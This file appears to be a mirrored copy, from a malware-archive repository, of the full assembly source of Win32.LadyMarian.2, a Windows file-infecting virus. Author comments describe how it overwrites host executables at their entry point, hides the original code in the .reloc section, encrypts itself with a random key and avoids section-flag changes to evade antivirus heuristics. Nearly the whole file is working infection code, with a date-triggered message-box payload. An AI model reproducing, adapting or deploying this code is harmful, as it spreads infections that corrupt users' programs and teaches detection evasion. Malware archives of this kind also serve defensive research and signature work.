mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
774 lines
20 KiB
NASM
774 lines
20 KiB
NASM
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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;
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;
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;
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; Win32.LadyMarian.2
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; Coded By ValleZ.
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; Size: 848h bytes.
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;
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; This is my second virus and probably virus had not optimized code,or bad ideas,or
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; other things,but,as i said,its my second so im excused :P if its a lame virus.
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; Well,i thing this is a interesting virus becoz it infect with a method that i hadnt seen
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; before(however i dont say it no exist,but i havent seen it). Virus overwrite code
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; of host,over entry point,after it has copy host code in .reloc.When it returns to host
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; it copy again host to entry point and jmp there.Virus place return to host rutine in
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; imagebase + 26h, in word oeminfo and 5 * dword reserved.
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; Virus is encrypted with random key.
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; Virus no change flags of code section where it overwrite code of host becoz avs heuristic
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; could detect it. It use VirtualProtect api to set his memory as writable.
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; I want to include some antidebug rutines in virus code but finally i think better not
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; becoz size of virus is 848h bytes...and if it grow up very much probably it cannot infect
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; any file becoz it will be more big than reloc.
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; Virus doesnt increase size of file and no change entry point.
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; It places his own SEH and test files with SfcIsFileProtected api when sfc.dll exists.
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; It infects all files in his folder that can be infected.
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; In NT machines only infect if it has necesary permission.
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; In header it only change: ImageBase + 26h to ImageBase + 3ch,with code to return host.
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; Byte 1 of TimeDateStamp in PEheader + 08h.
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; Flags of .reloc to do it not discarcheable.
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;
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;
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; Payload: show a message box with no button :P close it with ctrl + alt + supr
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; No more things.
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; This virus is for Lady Mariam,the best girl in the world.
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;
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; Thx:
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; Xezaw,my m3nt0r who shows me all i know :)
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; mscorlib,thx for that help that u gave me :) u r a genius :D
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; GriYo,thx u too for ur help too :)
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;
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; Sorry,my english is very bad so plz,excuse me.
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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.586p
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.model flat,stdcall
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extrn ExitProcess:proc
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sizeVir = endVir - startVir
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sizecrypt = decryptz - retHost
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.data
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db 0
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.code
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start:
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startVir:
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push ebx ;registers preserved too
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push ecx
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push edx
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push esi
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push edi
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push ebp
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call d_offset ;delta offset
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d_offset:
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pop ebp
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sub EBP,offset d_offset
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jmp decryptz
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retHost:
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SEHout:
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mov esp,00000000h
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pop dword ptr fs:[0] ;SEH return
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pop ebp
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pop ebp ;ebp too was saved,so we can restore it
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lea eax,[ebp + offset baseCalc]
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xor al,al
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xor ecx,ecx
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mov cx,100h
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add eax,ecx
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baseCalc:
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sub eax,ecx
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cmp word ptr [eax],'ZM' ;search for image base
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jne baseCalc
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mov esi,[eax + 1ch] ;dir of reloc
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add esi,eax ;this header dword is modified
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;when file is infected
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mov ecx, [eax+3Ch]
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add ecx, eax
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mov dx,[ecx + 8]
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cmp dx,'vz' ;test if this is a infected file,
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jne Exit ;second generation,i no test it with
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;or ebp,ebp becoz
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;with this infection method
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;sometimes ebp = 0 in 2<> gen.
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lea edi,[ebp + startVir]
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add eax,26h ;goto return code in image base + 26h
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jmp eax
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Exit:
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push 0
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call ExitProcess
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ReturnHost:
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;return host code.It is put in dos
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;header 5 reserved dwords + oeminfo.
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mov eax,edi
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mov ecx,sizeVir + 1
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again1: rep movsb ;copy host code in entry point direction
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jcxz next1 ;to recover the host body and
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loop again1 ;next jmp to entry point and begin
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next1: ;execution of host.
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pop ebp
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pop edi
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pop esi ;i think some programs fails if not preserve
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pop edx
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pop ecx
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pop ebx
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jmp eax
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ReturnHost_:
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vir:
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xor edx,edx ;small fix :P
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mov [ebp + SfcIsFileProtectedz],edx ;sometimes fault becoz
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;thought it has sfc api
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;my SetWritrableCode rutine is prepared for with a few
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;changes can search a api directly from export.
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;really,rutine search VirtualProtect for
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;change virus pages to readable,writable and executable
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;but putting GetProcAddress offset in repuse + 2 and
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;putting a ret in a good site rutine will search
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;GetProcAddress and we not spend bytes in repeat code ;)
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mov eax,offset GPA
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mov dword ptr [ebp + repuse + 2],eax
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mov ax,0c35bh ;pop ebx,ret
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mov word ptr [ebp + repuse2],ax
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lea eax,[ebp + SetWritableCode]
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call eax
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;of course after use rutine for our propose
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;we must rewrite good offset of VP and good code
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;where we write ret becoz when infect next generation
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;file the code of rutine must be the first
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lea ebx,[ebp + offset VP]
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mov dword ptr [ebp + repuse + 2],ebx
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mov cx,6a54h
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mov word ptr [ebp + repuse2],cx
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mov edi,[ebp + kern]
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mov [EBP + offset GetProcAddressz],EAX
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;we have GetProcAddress,we can be happy! We can get all apis we need and
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;we can start to infect files ;)
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;next code calc apis
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;In data apis must be in this form:
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;api1kernel 0 api2kernel 0 ... apiNkernel 00 Library1nxt 0 api1nxtLib 0 api2nxtLib 0
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;... apiNnxtLib 00 ... LibreriaNnxt 000
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;00 is change of library and 000 is finish of apis
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lea ESI,[EBP + offset ApisNames]
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mov ebx,edi
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mov ECX,[EBP + offset GetProcAddressz]
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lea EDX,[EBP + offset dirApis]
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nextAPI:
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push EDX
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push ESI
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push ebx
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mov edx,[ebp + GetProcAddressz]
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call edx
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pop EDX
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mov [EDX],EAX
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add EDX,4h
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searchApis:
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inc ESI
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mov AL,byte ptr[ESI]
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or AL,AL
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jnz searchApis
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inc ESI
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mov AL,byte ptr[ESI]
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or AL,al
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jnz nextAPI
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inc ESI
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mov AL,byte ptr[ESI]
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or AL,al
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jz allApisFounds
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push EDX
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cmp ebx,[EBP + offset kern]
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je IsKern
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IsKern: push ESI
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mov eax,dword ptr [ebp + offset LoadLibraryAz]
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call eax
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or eax,eax ;por la sfc.dll en 9x
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jz allApisButSfcNot
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mov EBX,EAX
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pop EDX
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jmp searchApis
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allApisButSfcNot:
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pop edx
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allApisFounds:
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SEH: ;set SEH for me,save ebp too
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push ebp
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lea eax,[ebp + retHost]
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push eax
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mov eax,fs:[0]
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push eax
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mov fs:[0],esp
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mov dword ptr[ebp + offset SEHout + 1],esp
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;payload only show a message box if 23-7-XX,but when i had a moment ill put some payload
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;a few more original :P
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Payload: ;payload (only 9x)
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mov eax,dword ptr [ebp + offset GetVersionz]
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call eax
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test EAX,08000000h
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jnz FirstFile
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lea ESI, [EBP + offset SystemTime]
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push ESI
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mov eax,[EBP + offset GetSystemTimez]
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call eax
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cmp [ESI.ST_wMonth],7
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jne FirstFile
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cmp [ESI.ST_wDay],23
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jne FirstFile
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lea eax,[ebp + pay]
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lea esi,[ebp + paytit]
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push 07h
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push esi
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push eax
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push 0
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mov eax,dword ptr [ebp + offset MessageBoxAz]
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call eax
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FirstFile: ;infect all .exe in his folder that could infect
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lea eax,[ebp + offset files]
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lea ESI,[ebp + offset WIN32_FIND_DATA]
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push ESI
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push EAX
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mov eax,dword ptr [ebp + offset FindFirstFileAz]
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call eax
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inc eax
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jz retHost
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dec eax
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mov [ebp + handFile],eax
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jmp infection
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NextFile:
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push dword ptr [ebp+WFD_dwFileAttributes]
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lea eax, [ebp + WFD_szFileName]
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push eax
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mov eax,dword ptr [ebp + offset SetFileAttributesAz]
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call eax
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lea ESI,[ebp + offset WIN32_FIND_DATA]
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mov eax,[ebp + handFile]
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push esi
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push eax
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mov eax, dword ptr [ebp + offset FindNextFileAz]
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call eax
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or eax,eax
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jz retHost
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infection:
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lea edi,[ebp + offset WFD_szFileName]
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mov eax,dword ptr [ebp + offset GetVersionz]
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call eax
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test EAX,08000000h
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jz _9x
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NT:
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;in NT only infect if have permiss
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mov eax,[ebp + offset WFD_dwFileAttributes]
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test eax,1915h
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jnz NextFile
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_9x: ;sfp?? i test it for NT and 9x becoz i have listened
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;millenium have it too,true?
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push edi
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push 0
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mov eax,[ebp + SfcIsFileProtectedz]
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or eax,eax
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jz nosfc
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call eax
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or eax,eax
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jnz NextFile
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nosfc:
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;next part is tipycal file mapping
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push 80h
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push edi
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mov eax, dword ptr[ebp + offset SetFileAttributesAz]
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call eax
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xor eax,eax
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push eax
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push eax
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push 3
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push eax
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inc eax
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push eax
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push 0C0000000h
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push edi
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mov eax,dword ptr [ebp + offset CreateFileAz]
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call eax
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inc eax
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or eax,eax
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jz Closed
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dec eax
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mov [ebp + offset CreateFileHand],eax
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xor ebx,ebx
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push ebx
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push dword ptr[ebp+ offset WFD_nFileSizeLow]
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push ebx
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push 4
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push ebx
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push eax
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mov eax, dword ptr [ebp + offset CreateFileMappingAz]
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call eax
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or eax,eax
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jz CloseFile
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mov [ebp + offset CreateFileMappingHand],eax
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push dword ptr[ebp + offset WFD_nFileSizeLow]
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xor ebx,ebx
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push ebx
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push ebx
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push 000F001Fh
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push eax
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mov eax, dword ptr [ebp + offset MapViewOfFilez]
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call eax
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or eax,eax
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jz CloseMapping
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mov [ebp + offset MapViewOfFileHand],eax
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mov edi,eax
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cmp word ptr [edi],'ZM' ;test if PE file
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jne CloseView
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cmp word ptr[edi + 8],4
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jne CloseView
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mov esi,[edi + 3ch]
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add esi,edi
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cmp word ptr[esi],'EP'
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jne CloseView
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mov ax,[esi + 8] ;not infected yet??
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cmp ax,'vz'
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je CloseView
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mov eax,[esi + 28h]
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xor ebx,ebx
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mov bx,word ptr[esi + 14h]
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add ebx,18h
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add ebx,esi
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push ebx
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BuscaEntrySec:
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mov ecx,dword ptr[ebx + 0ch]
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add ecx,dword ptr[ebx + 10h] ;search for entryPoint section,
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cmp eax,ecx ;the section where is entryPoint.
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jb EntrySection
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add ebx,28h
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jmp BuscaEntrySec
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EntrySection:
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mov edx,[esi + 28h]
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sub edx,[ebx + 0ch]
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add edx,[ebx + 14h] ;offset of Epoint in file.No RVA.
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add edx,edi
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;AddressOfEntryPoint - VAsection + PointerToRawData
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mov [ebp + offset EntryPointInFile],edx
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sub ecx,eax ;SectionEnd - entryPoint
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mov eax,sizeVir
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cmp ecx,eax
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jb nxt ;enought size for put virus?
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jmp nonxt
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nxt:
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pop ebx
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jmp CloseView
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nonxt:
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mov ecx,eax
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pop ebx
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push ecx
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mov cx,[esi + 6]
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sub ebx,28h
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inc cx
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buscaReloc:
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dec cx ;searching for reloc
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or cx,cx
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jz nxt2
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jmp nonxt2
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nxt2:
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pop ecx ;no .reloc
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jmp CloseView
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nonxt2:
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add ebx,28h ;is this section .reloc?? compare...
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lea eax,[ebp + offset reloc]
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push ebx
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push eax
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lea eax,[ebp + offset compara]
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call eax
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pop edx
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pop edx
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or eax,eax
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jne buscaReloc
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pop ecx
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cmp dword ptr [ebx + 10h],ecx
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;enought space in reloc for virus?
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jb CloseView
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push ebx
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push esi
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mov eax,dword ptr [ebx + 0ch]
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mov [edi + 1ch],eax ;reloc dir for nxt gen
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mov ebx,[ebx + 14h] ;go start .reloc
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add ebx,edi
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;copy return to host code to imagebase + 26h,overwriting oeminfo and next 5 reverved word.
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;returnHost is 22 bytes, word oeminfo + 5 * dword reserveds ;)
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CopyToReserved:
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add edi,26h
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lea esi,[ebp + offset ReturnHost]
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tamReturn = ReturnHost_ - ReturnHost
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xor ecx,ecx
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mov cl,tamReturn
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again2: rep movsb ;copying...
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jcxz next2
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loop again2
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next2:
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CopyReloc: mov esi,[ebp + offset EntryPointInFile]
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mov edi,ebx
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mov ecx,sizeVir+1 ;copy host in reloc for recover later...
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again3: rep movsb
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jcxz next3
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loop again3
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next3:
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lea esi,[ebp + offset startVir]
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mov edi,[ebp + offset EntryPointInFile]
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mov eax,edi
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mov ecx,sizeVir ;copying...
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again4: rep movsb ;overwriting host with virus >:D
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jcxz next4
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loop again4
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next4:
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sizedecrypt = endVir - decryptz
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sub edi,sizedecrypt
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mov ecx,sizecrypt
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mov eax,[ebp + GetTickCountz]
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call eax
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cryptaz:
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dec edi ;crypt byte to byte with random key
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xor byte ptr[edi],al
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loop cryptaz
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pop esi
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pop ebx
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mov dword ptr [ebx + 24h],40000040h
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;reloc not discarchable!!
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;i think avs no see this flag ;)
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CloseHandlesInfectado:
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mov ax,'vz'
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mov [esi + 8],ax
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CloseView:
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push dword ptr[ebp + offset MapViewOfFileHand]
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mov eax, dword ptr [ebp + offset UnmapViewOfFilez]
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call eax
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CloseMapping:
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push dword ptr[ebp + offset CreateFileMappingHand]
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mov eax,dword ptr[ebp + offset CloseHandlez]
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call eax
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CloseFile:
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push dword ptr[ebp + offset CreateFileHand]
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mov eax, dword ptr[ebp + offset CloseHandlez]
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call eax
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Closed:
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jmp NextFile
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datos:
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kernel32_ db 'Kernel32',0
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reloc db '.reloc',0
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GPA db 'GetProcAddress',0
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files db '*.exe',0
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pay db 'This virus is for you,for Lady Marian.',0dh
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db ' You are the only girl in the world',0dh
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db 'whose i have in loved and never other girl',0dh
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db ' could be in my heart so you have been.',0dh
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paytit db ' i will not forget you...',0
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ApisNames:
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db 'LoadLibraryA',0
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db 'GetSystemTime',0
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db 'CreateFileA',0
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db 'CreateFileMappingA',0
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db 'MapViewOfFile',0
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db 'CloseHandle',0
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db 'UnmapViewOfFile',0
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db 'FindFirstFileA',0
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db 'FindNextFileA',0
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db 'GetTickCount',0
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db 'GetVersion',0
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db 'SetFileAttributesA',0
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db 'ExitProcess',0
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db 0
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db 'User32',0
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db 'MessageBoxA',0
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||
db 0
|
||
db 'sfc',0
|
||
db 'SfcIsFileProtected',0
|
||
finAPIS dw 00h
|
||
|
||
|
||
dirApis:
|
||
LoadLibraryAz dd 0
|
||
GetSystemTimez dd 0
|
||
CreateFileAz dd 0
|
||
CreateFileMappingAz dd 0
|
||
MapViewOfFilez dd 0
|
||
CloseHandlez dd 0
|
||
UnmapViewOfFilez dd 0
|
||
FindFirstFileAz dd 0
|
||
FindNextFileAz dd 0
|
||
GetTickCountz dd 0
|
||
GetVersionz dd 0
|
||
SetFileAttributesAz dd 0
|
||
ExitProcessz dd 0
|
||
MessageBoxAz dd 0
|
||
SfcIsFileProtectedz dd 0
|
||
|
||
|
||
CreateFileHand dd 0
|
||
CreateFileMappingHand dd 0
|
||
MapViewOfFileHand dd 0
|
||
EntryPointInFile dd 0
|
||
handFile dd 0
|
||
GetProcAddressz dd 0
|
||
|
||
|
||
Max_Path equ 260
|
||
|
||
FILETIME struc
|
||
FT_dwLowDateTime dd ?
|
||
FT_dwHighDateTime dd ?
|
||
FILETIME ends
|
||
|
||
WIN32_FIND_DATA label byte
|
||
WFD_dwFileAttributes dd ?
|
||
WFD_ftCreationTime FILETIME ?
|
||
WFD_ftLastAccessTime FILETIME ?
|
||
WFD_ftLastWriteTime FILETIME ?
|
||
WFD_nFileSizeHigh dd ?
|
||
WFD_nFileSizeLow dd ?
|
||
WFD_dwReserved0 dd ?
|
||
WFD_dwReserved1 dd ?
|
||
WFD_szFileName db Max_Path dup (?)
|
||
WFD_szAlternateFileName db 13 dup (?)
|
||
db 03 dup (?)
|
||
|
||
SYSTEMTIME struct
|
||
ST_wYear dw ?
|
||
ST_wMonth dw ?
|
||
ST_wDayOfWeek dw ?
|
||
ST_wDay dw ?
|
||
ST_wHour dw ?
|
||
ST_wMinute dw ?
|
||
ST_wSecond dw ?
|
||
ST_wMilliseconds dw ?
|
||
SYSTEMTIME ends
|
||
SystemTime SYSTEMTIME ?
|
||
|
||
decryptz:
|
||
|
||
call SetWritableCode
|
||
|
||
cmp byte ptr [ebp + offset retHost],0BCh ;encrypted??
|
||
je vir ;if no encryted jmp code
|
||
xor ecx,ecx
|
||
dec ecx
|
||
whatkey:
|
||
mov al,byte ptr [ebp + retHost]
|
||
;search the encryption key
|
||
xor al,cl
|
||
sub al,0bch
|
||
jz keyfound
|
||
loop whatkey
|
||
|
||
keyfound:
|
||
mov dl,cl
|
||
lea esi,[ebp + offset retHost]
|
||
mov edi,esi
|
||
mov ecx,sizecrypt
|
||
decrypt:
|
||
db 0d6h ;setalc,undocumented,antiheuristic,is good today???
|
||
lodsb
|
||
xor al,dl
|
||
stosb
|
||
loop decrypt
|
||
jmp vir
|
||
|
||
;SetWritableCode rutine searchs VirtualProtect in kernel export table for calling it
|
||
;later and do writable virus code memory zone.Why? Virus code is on code section
|
||
;and if code section flags say writable section,avs will see it and will advise
|
||
;user that infect file is a posible virus :S so we no set that flag and avs will be
|
||
;in silent :)
|
||
;In addition with a few modifications explanated and do up,this rutine will search
|
||
;getProcAddress so we dont spend bytes in repeat code ;)
|
||
|
||
|
||
SetWritableCode:
|
||
mov EAX,[ESP + 28]
|
||
xor AX,AX
|
||
mov edx,1000h
|
||
add eax,edx
|
||
|
||
VPsearch_kernel:
|
||
sub eax,edx
|
||
mov CX,word ptr[EAX]
|
||
cmp CX, 'ZM'
|
||
jne VPsearch_kernel
|
||
mov edi,eax
|
||
mov EAX,[EAX + 3Ch] ;PE
|
||
add EAX,edi
|
||
mov EAX,[EAX + 78h] ;Dir entrys
|
||
|
||
add EAX,edi ;export table
|
||
|
||
push eax
|
||
|
||
|
||
mov ECX,[EAX + 20h] ;exported func names
|
||
add ECX,edi
|
||
xor EDX,EDX
|
||
VPrepeat:
|
||
mov EBX,[ECX]
|
||
add EBX,edi
|
||
|
||
PUSH EBX ;search GetProcAddress
|
||
repuse:
|
||
lea EBX,[EBP + offset VP]
|
||
PUSH EBX
|
||
lea ebx,[ebp + offset compara]
|
||
call ebx
|
||
POP EBX
|
||
POP EBX
|
||
or EAX,eax
|
||
jz VPfinality
|
||
add ECX,4
|
||
inc edx
|
||
inc edx
|
||
jmp VPrepeat ;edx index ordinal
|
||
|
||
VPfinality:
|
||
mov EAX,[esp]
|
||
mov EAX,[EAX + 24h]
|
||
add EAX,edi ;eax -> ordinal
|
||
add EAX,EDX ;add index
|
||
mov EAX,[EAX] ;index for export address table
|
||
shr EAX,10h
|
||
|
||
dec EAX
|
||
mov EBX,[esp]
|
||
mov EBX,[EBX + 1ch] ;array of dirs of func
|
||
add EBX,edi ;we index it in eax
|
||
add EAX,EAX
|
||
add EAX,EAX
|
||
add EAX,EBX
|
||
mov EAX,[EAX] ;dir of VirtualProtect
|
||
add EAX,edi
|
||
repuse2:
|
||
push esp ;lpflOldProtect is a stack dword
|
||
push 40h ;writable,readable and executable
|
||
push sizeVir ;size of memory to put writable
|
||
lea ebx,[ebp + startVir]
|
||
push ebx
|
||
call eax
|
||
pop eax
|
||
mov [ebp + kern],edi
|
||
ret
|
||
|
||
;this useful ritune compare 2 strings and return 0 if they are identical and 1 if not.
|
||
|
||
compara:
|
||
|
||
push ECX
|
||
push ESI
|
||
push edi
|
||
|
||
mov ESI,[ESP + 20]
|
||
mov EDI,[ESP + 16]
|
||
mov ecx,esi
|
||
endString:
|
||
lodsb ;lenght of string
|
||
or al,al
|
||
jnz endString
|
||
|
||
sub esi,ecx
|
||
xchg esi,ecx ;ecx = lenght esi = start
|
||
|
||
xor eax,eax
|
||
|
||
repz cmpsb
|
||
je endCompara
|
||
inc eax
|
||
endCompara:
|
||
pop edi
|
||
POP ESI
|
||
POP ECX
|
||
|
||
ret
|
||
|
||
;arrrggghtt!! damn,i have had headache becoz i was using VP string before decrypt it!! ;@
|
||
|
||
VP db 'VirtualProtect',0
|
||
kern dd 0
|
||
endVir:
|
||
end start
|
||
end
|